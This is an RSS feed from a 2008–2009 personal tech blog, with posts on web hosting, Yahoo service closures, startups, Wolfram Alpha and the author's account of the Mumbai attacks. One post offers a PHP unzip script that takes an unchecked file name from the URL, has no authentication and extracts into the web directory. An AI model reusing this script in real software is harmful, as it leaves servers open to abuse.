<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2enclosuresfull.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://rss.anjanesh.net/~d/styles/itemcontent.css"?><rss xmlns:media="http://search.yahoo.com/mrss/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><title>Anjanesh</title><link>http://anjanesh.blogspot.com/</link><description>Assignment Statements, Comparisons &amp; Observations</description><language>en</language><managingEditor>anjanesh@anjanesh.com (Anjanesh)</managingEditor><lastBuildDate>Mon, 19 Oct 2009 22:37:26 PDT</lastBuildDate><generator>Blogger http://www.blogger.com</generator><openSearch:totalResults xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/">64</openSearch:totalResults><openSearch:startIndex xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/">1</openSearch:startIndex><openSearch:itemsPerPage xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/">25</openSearch:itemsPerPage><itunes:owner><itunes:email>anjanesh@anjanesh.com</itunes:email></itunes:owner><itunes:explicit>no</itunes:explicit><itunes:subtitle>Assignment Statements, Comparisons &amp; Observations</itunes:subtitle><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://rss.anjanesh.net/anjanesh" type="application/rss+xml" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><item><title>Webfaction</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/74NHTFB8Q2A/webfaction.html</link><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Mon, 24 Aug 2009 21:29:42 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-5430777263170556928</guid><description>&lt;a href="http://www.webfaction.com/?affiliate=anjanesh" target="_blank"&gt;&lt;img src="http://i81.photobucket.com/albums/j212/anjanesh/Blog/webfaction-logo.png" style="width:260px; height:60px; float:right" alt="WebFaction"/&gt;&lt;/a&gt;

&lt;p&gt;I am not going to get into another general shared-hosting review. Infact this is something in between shared-hosting and a VPS.&lt;/p&gt;

&lt;p&gt;I signed up for 2 webfaction accounts - I was primarily looking for a VPS switch, for which I already decided on SliceHost.&lt;br/&gt;
But there are 2 challenges to SliceHost - one, it costs $20/month for 10GB/100GB space/bandwidth which is still pretty expensive for Indian standards.&lt;br/&gt;
Two, since its unmanged, a fair amount of linux sys admin skills is required to keep it up and running without downtimes.&lt;/p&gt;

&lt;p&gt;WebFaction is mainly known for its Python hosting (previously python-hosting.com), but the best part is that you can run it like a VPS. The base install managed by the hosting company itself and the custom installs mananged by the customers themselves. For example, you can install another version of MySQL in your HOME directory and run it at a custom port (each user account gets a predefined range of ports for use in custom setups). And yes, you can install anything else not natively available in WebFaction. This is awesome, since you don't get the overhead of managing the entire server - instead you just manage what you install.&lt;/p&gt;

&lt;p&gt;The other interesting fact about WebFaction is setting ACLs without the need of root.&lt;br/&gt;
Normally we would want a couple of directories (like user photos) writable by the web-server so that the web-interface can save to that directory.&lt;br/&gt;
In most shared-hosts, the only solution would be setting 0777 or 0755 permissions on a directory.&lt;/p&gt;

&lt;p&gt;On my Ubuntu PC, I would do : (&lt;b&gt;www-data&lt;/b&gt; is &lt;b&gt;apache2&lt;/b&gt;)

&lt;pre class="code"&gt;sudo chgrp -R www-data &amp;lt;directory&amp;gt;
chmod -R g+w &amp;lt;directory&amp;gt;&lt;/pre&gt;

In WebFaction they have &lt;a href="https://help.webfaction.com/index.php?_m=knowledgebase&amp;_a=viewarticle&amp;kbarticleid=111&amp;nav=0,19" taget="_blank"&gt;a command-line script&lt;/a&gt; that does this for users.

&lt;pre class="code"&gt;setfacl -R -m u:apache:rwx &amp;lt;directory&amp;gt;
setfacl -R -m default:u:$USER:rwx &amp;lt;directory&amp;gt;&lt;/pre&gt;
&lt;/p&gt;

&lt;p&gt;&lt;b&gt;Con&lt;/b&gt; - no sendmail path defined - hence PHP's native mail() will not work. This was done inorder to avoid mail abuse. The general method of substitution in PHP would be to use a mail library like &lt;a href="http://swiftmailer.org/" target="_blank"&gt;SwiftMailer&lt;/a&gt; to use SMTP to send out the mails.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-5430777263170556928?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/74NHTFB8Q2A" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2009-08-25T09:59:42.325+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2009/08/webfaction.html</feedburner:origLink></item><item><title>Whats up with Yahoo!?</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/fh6dfqPyb6A/whats-up-with-yahoo.html</link><category>Yahoo</category><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Thu, 18 Jun 2009 04:16:07 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-6701485736922025038</guid><description>&lt;p&gt;&lt;img src="http://i81.photobucket.com/albums/j212/anjanesh/Blog/yahoo.jpg" style="width:197px; height:175px; float:right" alt="Yahoo"/&gt;
A few months ago, I blogged about Yahoo! shutting down its &lt;a href="http://kickstart.yahoo.com" target="_blank"&gt;Kisckstart&lt;/a&gt; service.&lt;br/&gt;
Well, off lately Yahoo! has been shutting down a whole lot of its services most notably &lt;a href="http://360.yahoo.com" tagrget="_blank"&gt;Yahoo! 360&lt;/a&gt; - soon in July 2009.&lt;/p&gt;
&lt;p&gt;The other common services of Yahoo! that shutdown were :&lt;br/&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="http://mash.yahoo.com/" target="_blank"&gt;Yahoo! Mash&lt;/a&gt;, a social networking service lasted for a year ended in September 2008.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://live.yahoo.com/" target="_blank"&gt;Yahoo! Live&lt;/a&gt;, a real-time video broadcasting experiment ended after a 6 months stint in December 2008.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://publisher.yahoo.com/sps/cm.php" target="_blank"&gt;Yahoo! Content Match&lt;/a&gt;, a Google Adsense clone shuts down in Europe.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.jumpcut.com/" target="_blank"&gt;Jumpcut&lt;/a&gt;, an online video editing tool closed down just a couple of days back (15th June 2009).&lt;/li&gt;
&lt;li&gt;&lt;a href="http://podcasts.yahoo.com/" target="_blank"&gt;Yahoo! Podcasts&lt;/a&gt;, a podcasting directory end after 2 years in October 2007.&lt;/li&gt;
&lt;li&gt;Yahoo! Auctions, an eBay competitor ended in September 2008.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://photos.yahoo.com" target="_blank"&gt;Yahoo! Photos&lt;/a&gt; shut down in September 2007 but got replaced with their better acquired service, Flickr.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://help.yahoo.com/l/us/yahoo/briefcase/eol01.html" target="_blank"&gt;Yahoo Briefcase&lt;/a&gt;, a free storage service ended after a decade in March 2009.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://geocities.yahoo.com/" target="_blank"&gt;Geocities&lt;/a&gt;, the 90's most famous free static website hosting service is closing this year - but this one is not as a result of failure - after all it was one of the biggest success stories in the 90s - it just got worn off - retired - antique - much better ones available/evolved over the last 15 years.&lt;/li&gt;
&lt;/ol&gt;&lt;/p&gt;
&lt;p&gt;Yahoo! may not be dying, but its definitely try to recover its No.1 position it had a decade-and-a-half ago.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-6701485736922025038?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/fh6dfqPyb6A" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2009-06-18T16:46:07.178+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2009/06/whats-up-with-yahoo.html</feedburner:origLink></item><item><title>Hiring =&gt; Aquiring ?</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/uxXrGk2Lv3I/hiring-aquiring.html</link><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Tue, 16 Jun 2009 14:41:20 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-3117000154105473628</guid><description>&lt;p&gt;With jobs cut stories being published everyday, more and more smaller companies are sprouting up daily. While on the quest for a job myself, most of the recent postings at various job portals like Naukri and Monster are from startups companies with 5 to 25 employees. I was going through various companies' websites and came across many more startup companies and related websites that seems very fascinating. I don't remember all the websites I've been through except for one which was uniquely enough to be rememberable - &lt;a href="http://www.ionlab.in/"&gt;IonLab&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Big companies are now looking to aquire rather than hire. Google and Microsoft have been acquiring constantly in the recent years. But Google has pushed this even further with &lt;a href="http://www.google.com/ventures/" style="font-weight:bold" target="_blank"&gt;Google Ventures&lt;/a&gt; - a $100 million annual funding for startups and &lt;a href="http://code.google.com/appengine/" style="font-weight:bold" target="_blank"&gt;Google App Engine&lt;/a&gt; - web hosting on Google's high-end scalable servers. Commenting on Microsoft's &lt;a href="http://bing.com" target="_blank"&gt;Bing&lt;/a&gt;, Google CEO Eric Schmidt &lt;a href="http://www.crn.com/software/217800492" target="_blank"&gt;said that :&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;
&lt;cite&gt;"We have been wandering around looking at all of the different companies. With the big ones, we haven't come across anything we've particularly liked. We are definitely talking to a number of smaller companies but we've done that routinely. We primarily look for technology. It's a typical build versus buy"&lt;/cite&gt;&lt;/p&gt;

&lt;p&gt;But this isn't limited to big giants alone - even Twitter, (small company now with big money), &lt;a href="http://blog.twitter.com/2008/07/finding-perfect-match.html"&gt;bought Summize&lt;/a&gt; for their search part.&lt;/p&gt;

&lt;p&gt;And start-up guru, Paul Graham who apparently hates running a startup has &lt;a href="http://www.inc.com/magazine/20090601/the-start-up-guru-y-combinators-paul-graham_Printer_Friendly.html" target="_blank"&gt;funded about 150 startups&lt;/a&gt; !&lt;/p&gt;

&lt;p&gt;Startups in India are creating a buzz (read: Related Links) : &lt;a href="http://startupbuzz.org" target="_blank"&gt;StartupBuzz&lt;/a&gt;, &lt;a href="http://startupdunia.com" target="_blank"&gt;StartupDunia&lt;/a&gt;, &lt;a href="http://www.pluggd.in" target="_blank"&gt;Pluggd In&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-3117000154105473628?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/uxXrGk2Lv3I" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2009-06-17T03:11:20.894+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2009/06/hiring-aquiring.html</feedburner:origLink></item><item><title>Wolfram Alpha</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/KQFxVi5y-7Q/wolfram-alpha.html</link><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Sun, 17 May 2009 11:34:34 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-6064028192662537544</guid><description>There is a lot of hype on Wolfram Alpha that launched on 15th - a brand new search engine, from the company famous for its &lt;a href="http://www.wolfram.com/products/mathematica/index.html"&gt;Mathematica software&lt;/a&gt;.&lt;br/&gt;
But this search engine is math based (no surprise) - which calculate 'answers' to your questions - or rather tries to figure out answers to the questions you are querying.&lt;br/&gt;
&lt;br/&gt;
They even posted their &lt;a href="http://blog.wolframalpha.com/2009/05/12/the-computers-powering-computable-knowledge/"&gt;infrastructure details&lt;/a&gt; - having the 44th largest supercomputer, mirrored at 5 different locations and can handle 175+ million queries a day.&lt;br/&gt;
&lt;br/&gt;
I tried a little more than a couple of queries, most of which returned &lt;i&gt;Wolfram|Alpha isn't sure what to do with your input.&lt;/i&gt;&lt;br/&gt;
I tried queries based on my hometown, Trivandrum, Kerala which I keep track of on the net from time to time. Given "Where is Trivandrum", it showed the map of India with Trivandrum marked. But it doesn't seem to know anything about kerala - one of the top 50 tourist locations in the world (National Geographic). If this isn't in their current database of &lt;a href="http://www.wolframalpha.com/about.html"&gt;10+ trillion of pieces of data&lt;/a&gt;, its going to be hard for me to find information using it.&lt;br/&gt;
&lt;br/&gt;
Then I tried input queries on stuff it could 'definitely' search on - maths. 10000! gave the first bunch of 35660 digits but you can easily extend the number of digits. But even expressions like "5+132!-59^5*sin(32)/5log(12)15" showed results with neat details. Over 20 years in the making of Mathematica, Wolfram would probably have the best number search engine. But "Knowledge" based ? It doesn't seem to have a lot of knowledge as of now.&lt;br/&gt;
&lt;br/&gt;
After a while it just got tired of searching.&lt;br/&gt;
&lt;br/&gt;
&lt;div style="overflow:auto; text-align:center"&gt;&lt;img src="http://i81.photobucket.com/albums/j212/anjanesh/Blog/wolfram-alpha.png" alt="" style="width:908px; height:433px;"/&gt;&lt;/div&gt;
&lt;br/&gt;
Everyone is curious about who or what will be the next Google. There is a big surety among many, even by &lt;a href="http://news.cnet.com/Google-exec-challenges-Berners-Lee/2100-1025_3-6095705.html"&gt;Tim Berners Lee&lt;/a&gt;, that semantic web search will overtake statistical based web search (&lt;span title="Google, Yahoo, MSN" style="cursor:help;border-bottom:1px dotted black"&gt;GYM&lt;/span&gt;). Wolfram Alpha is going to take a while to catch up, but results from statistical data is still more important to users with the current available data on the net. Right now, Wolfram Alpha is a really cool Internet Calculator.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-6064028192662537544?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/KQFxVi5y-7Q" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-18T00:04:34.722+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2009/05/wolfram-alpha.html</feedburner:origLink></item><item><title>Finally a full-time job</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/hjcTCY1s-1M/finally-full-time-job.html</link><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Mon, 18 May 2009 06:16:32 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-7013665768873531667</guid><description>&lt;p style="text-align:justify"&gt;Last year I worked with a client here in Mumbai for their online store, &lt;a href="BombayElectric.in"&gt;BombayElectric.in&lt;/a&gt; which is based on &lt;a href="http://www.magentocommerce.com/"&gt;Magento&lt;/a&gt;, an open-source platform. My client was the national winner of British Council's &lt;a href="http://www.britishcouncil.org/india-arts-iyfey-fashion.htm"&gt;Young Fashion Entrepreneur (YFE) Award 2009&lt;/a&gt;.&lt;br/&gt;&lt;br/&gt;For the last 4 and so years I've always shyed away from a full-time job since I managed to get freelance work right after college. After a ring of  uneventful events last year, I decided to shift base and take up the stature of an employee. Earlier last month, I &lt;b&gt;finally&lt;/b&gt; took up a full-time job in an internet ad/marketing agency here in Mumbai. To my surprise, I discovered that the guy who runs this small unique company happens to be the national winner of British Council's &lt;a href="http://www.britishcouncil.org/india-arts-yxe.htm"&gt;Young Communications Entrepreneur (YXE) award 2009&lt;/a&gt; !&lt;/p&gt;&lt;p&gt;Quite a Coincidence !&lt;/p&gt;&lt;div style="text-align:center"&gt;&lt;img src="http://i81.photobucket.com/albums/j212/anjanesh/Blog/india-arts-iyfey-fashion-image.jpg" style="width:320px; height:276px; margin-left:10px; vertical-align:top" alt="Priya Kishore"/&gt;&lt;img src="http://i81.photobucket.com/albums/j212/anjanesh/Blog/india-arts-yxe-winner.jpg" style="width:310px; height:401px; margin-left:25px" alt="Saurabh Gupta"/&gt;&lt;/div&gt;&lt;br/&gt;
&lt;b&gt;Update :&lt;/b&gt; I ended up quitting from this awesome advertising firm. This is the longest (just 3 months) I've lasted so far as a full-time employee. Back to job-hunting !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-7013665768873531667?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/hjcTCY1s-1M" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-18T18:46:32.851+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2009/03/finally-full-time-job.html</feedburner:origLink></item><item><title>Yahoo! Kickstart already kicked out</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/6hjAu9W9AVQ/yahoo-kickstart-already-kicked-out.html</link><category>Yahoo</category><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Sun, 07 Dec 2008 12:17:44 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-6745357997120193975</guid><description>&lt;p&gt;Its just over year since Yahoo! launched &lt;a href="http://kickstart.yahoo.com/"&gt;Kickstart&lt;/a&gt; in beta but as of now (probably just a few hours back), its already closed.&lt;br/&gt;&lt;br/&gt;Kickstart was a Yahoo initiative to compete with Facebook, Linkedin etc but focused specifically on college students, alumni etc to connect them to jobs (professional networking space) to kickstart careers.&lt;br/&gt;&lt;br/&gt;Right now, Kickstart shows &lt;i&gt;"Thanks for trying Kickstart ! Please check out Yahoo! HotJobs for your job search needs."&lt;/i&gt; and links to their hotjobs site.&lt;br/&gt;Given the economy slowdown, Microsoft-Yahoo acquisition disagreement, Facebook buyout failure and Y! 360 not catching up, they definitely seem to want to focus on revenue generating products instead.&lt;/p&gt;&lt;p style="text-align:center"&gt;&lt;img src="http://i81.photobucket.com/albums/j212/anjanesh/Blog/kickstart.gif" style="width:640px; height:374px" /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-6745357997120193975?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/6hjAu9W9AVQ" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2008-12-08T01:47:44.756+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2008/12/yahoo-kickstart-already-kicked-out.html</feedburner:origLink></item><item><title>Busy Dodging Bullets in Colaba</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/DalRqVUJVrI/busy-dodging-bullets-in-colaba.html</link><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Fri, 28 Nov 2008 19:47:41 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-7809470091439343078</guid><description>&lt;p&gt;&lt;a href="http://www.telegraphindia.com/1081128/jsp/nation/story_10176770.jsp"&gt;&lt;img src="http://i81.photobucket.com/albums/j212/anjanesh/Blog/nariman-house.jpg" style="cursor:pointer; border:0; width:170px; height:254px; float:right; margin-left:10px" alt="Nariman House"/&gt;&lt;/a&gt;So I've been real busy on Wednesday night. Believe it or not, on that night I was dodging bullets in colaba causeway at the bomb-blast site near &lt;a href="http://en.wikipedia.org/wiki/Nariman_House"&gt;Nariman House&lt;/a&gt;.&lt;br/&gt;I at my client's office which is right next to the Taj hotel and had left office at about 11pm with my client. We were trying to cross the blast site that happened an hour before when all of a sudden there was firing and was in the middle of crossfire. Apparently the bullets were originating from the 3rd or 4th floor of Nariman House. Though this could have been easily mistaken for police firing back. I was literally running for life !&lt;br/&gt;Q: And why was I trying to cross the blast site ? A: In order to reach my friend's house 1km down that lane for shelter as &lt;a href="http://news.xinhuanet.com/english/2008-11/27/content_10419163.htm"&gt;CST station was attacked too&lt;/a&gt; and there was no means to commute by train or taxi. Nor was any hotel taking in any new guests. Plus, the level of the intensity of the situation was underestimated at the time.&lt;br/&gt;I dont know how the hell it happened, but my phone's camera got dysfunctional !&lt;/p&gt;&lt;p&gt;That proabably was my most terrifying 2 hours of my life. As Im typing this, Narman House &lt;a href="http://www.ndtv.com/convergence/ndtv/story.aspx?id=NEWEN20080074405&amp;ch=633634603584098750"&gt;encounter is almost one with&lt;/a&gt; !&lt;/p&gt;&lt;p&gt;Related News Links :  &lt;ul&gt;&lt;li&gt;&lt;a href="http://www.iht.com/articles/2008/11/28/news/29MUMBAI.php"&gt;Commandos storm Jewish center in Mumbai&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.google.com/hostednews/ukpress/article/ALeqM5hk7FJFGrcIBk29odXngLnnuIs88A"&gt;Commandos target Jewish centre&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.timesonline.co.uk/tol/news/world/asia/article5249295.ece"&gt;Commandos abseil onto Bombay Jewish Centre&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://timesofindia.indiatimes.com/Mumbai/Countdown_for_hostages/articleshow/3766901.cms"&gt;Countdown for hostages&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.cbc.ca/world/story/2008/11/27/f-vp-fatah.html"&gt;Tears as the city of joy burns&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-7809470091439343078?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/DalRqVUJVrI" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2008-11-29T09:17:41.452+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2008/11/busy-dodging-bullets-in-colaba.html</feedburner:origLink></item><item><title>Tech Contests</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/JQWmhVmMNWs/tech-contests.html</link><category>contest</category><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Tue, 11 Nov 2008 10:13:52 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-1180498444029737639</guid><description>&lt;p&gt;The World Economy has taken a real hit. But this hasn't slowed down IT innovation especially in open-source. Jonathan of Sun has &lt;a href="http://blogs.sun.com/jonathan/entry/innovation_loves_a_crisis"&gt;mentioned&lt;/a&gt; that this is the time when more of open-source would be adopted with the obvious reason of cutting down cost on proprietary software. Even though the gradual change to open-source software would be hard to gulp down so soon, it would be the only solution to keep their business from going out of business. The current crisis has not stopped IT giants from motivating tech enthusiasts from coding. A couple of contests are currently running which are worth mentioning :&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;Cisco Developer Contest : &lt;a href="http://www.cisco.com/web/solutions/axpdev/index.html"&gt;http://www.cisco.com/web/solutions/axpdev/index.html&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Nokia : &lt;a href="http://www.callingallinnovators.com/enter.asp"&gt;http://www.callingallinnovators.com/enter.asp&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Sun Code for Freedom Contest (for Indian Students only) : &lt;a href="http://in.sun.com/communities/univ/codeforfreedom/"&gt;http://in.sun.com/communities/univ/codeforfreedom/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-1180498444029737639?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/JQWmhVmMNWs" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2008-11-11T23:43:52.747+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2008/11/tech-contests.html</feedburner:origLink></item><item><title>Uploading and Extracting files without Shell Access on a Shared Host</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/Rr20rq2QCKs/uploading-and-extracting-files-without.html</link><category>webhosts</category><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Sun, 28 Sep 2008 11:10:01 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-6301353046152782756</guid><description>&lt;p&gt;The easiest way to upload a large number of files to your website hosting server is to zip the files first on your local PC, upload the zip file to your hosting account and then use a shell command like unzip to extract. Unfortunately, most shared hosting environments don't provide shell access due to security reasons. But from a business perspective, users who require shell access access would be really requiring a custom setup on a dedicated server.&lt;/p&gt;&lt;p&gt;But if you have an entire directory of files to upload to your shared hosting account, there is still a way to extract the contents online using a simple PHP script. For this to work you got to have PHP 5.2 or later enabled.&lt;/p&gt;&lt;pre class="code"&gt;&amp;lt;?php
if (isset($_GET['f']))
 $file = $_GET['f'];
else
 die("arg 1 required");

$zip = new ZipArchive;

if ($zip-&gt;open($file) === FALSE)
 die("Failed to open $file");

if (!$zip-&gt;extractTo('.'))
 echo "Extract not successful";
else
 echo "Extract successful";

$zip-&gt;close();
?&amp;gt;&lt;/pre&gt;&lt;ol&gt;&lt;li&gt;Zip the folder on your local PC using WinZip or whatever (say sample.zip).&lt;/li&gt;&lt;li&gt;Upload the zip file sample.zip via FTP to your host (say in &lt;b&gt;temp&lt;/b&gt; folder).&lt;/li&gt;&lt;li&gt;Upload the PHP file unzip.php to &lt;b&gt;temp&lt;/b&gt; folder.&lt;/li&gt;&lt;li&gt;Enter in your browser the following address http://mywebsite.com/temp/unzip.php?f=sample.zip&lt;/li&gt;&lt;li&gt;If you look in your host server's temp folder, you should see the contents of sample.zip extracted.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;img src="http://i81.photobucket.com/albums/j212/anjanesh/Blog/reset-owner-da.gif" style="width:315px; height:70px; float:right; margin-left:5px" alt="DA"/&gt;One issue you would face is the owner permissions of that extracted directory. Since the extract part was done by a script, the owner of that folder would be apache instead of your username. The only workaround of this is to login to your web control panel, browse files and reset ownership of that folder. For example, in a control panel like DirectAdmin you could just Browse for files and click on &lt;i&gt;Recursively&lt;/i&gt;.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-6301353046152782756?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/Rr20rq2QCKs" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2008-09-28T23:40:01.425+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2008/09/uploading-and-extracting-files-without.html</feedburner:origLink></item><item><title>Viagara Milkshake !</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/JS6Bbed5L6s/viagara-milkshake.html</link><category>Fun</category><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Mon, 18 Aug 2008 11:56:15 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-1581578083263630520</guid><description>&lt;p&gt;At one particular restaurant in Tamil Nadu, I came across a Viagara Milkshake listed on the menu under the "Ice Creams" section !&lt;/p&gt;&lt;div style="text-align:center"&gt;&lt;img src="http://i81.photobucket.com/albums/j212/anjanesh/Blog/Menu-Card-1.jpg" style="width:486px; height:648px;" alt="Menu Card 1"/&gt;&lt;br/&gt;&lt;img src="http://i81.photobucket.com/albums/j212/anjanesh/Blog/Menu-Card-2.jpg" style="width:486px; height:365px;" alt="Menu Card 2"/&gt;&lt;br/&gt;&lt;p&gt;And no, I didn't order it !&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-1581578083263630520?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/JS6Bbed5L6s" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-19T00:26:15.291+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2008/08/viagara-milkshake.html</feedburner:origLink></item><item><title>Good Year for linux ?</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/1t4RVeXVc1o/good-year-for-linux.html</link><category>Linux</category><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Sun, 17 Aug 2008 02:59:02 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-3303740328390928270</guid><description>&lt;img src="http://i81.photobucket.com/albums/j212/anjanesh/Blog/linux-logo.gif" style="width:313px; height:375px; float:right" alt="Linux"/&gt;&lt;p&gt;This year I'm slowly making a transition to Linux. Though I cannot leave Windows behind as I am too accustomed to it, I intend to spend a lot of time on Linux to be able to get a very good grip of it.&lt;/p&gt;&lt;p&gt;I've started off with Ubuntu 8.04 64-bit edition and so far it has been pretty exciting. I've seen many linux users say that we should &lt;a href="http://linux.oneandoneis2.org/LNW.htm"&gt;not think Windows&lt;/a&gt; when moving to GUI Linux like Ubuntu - 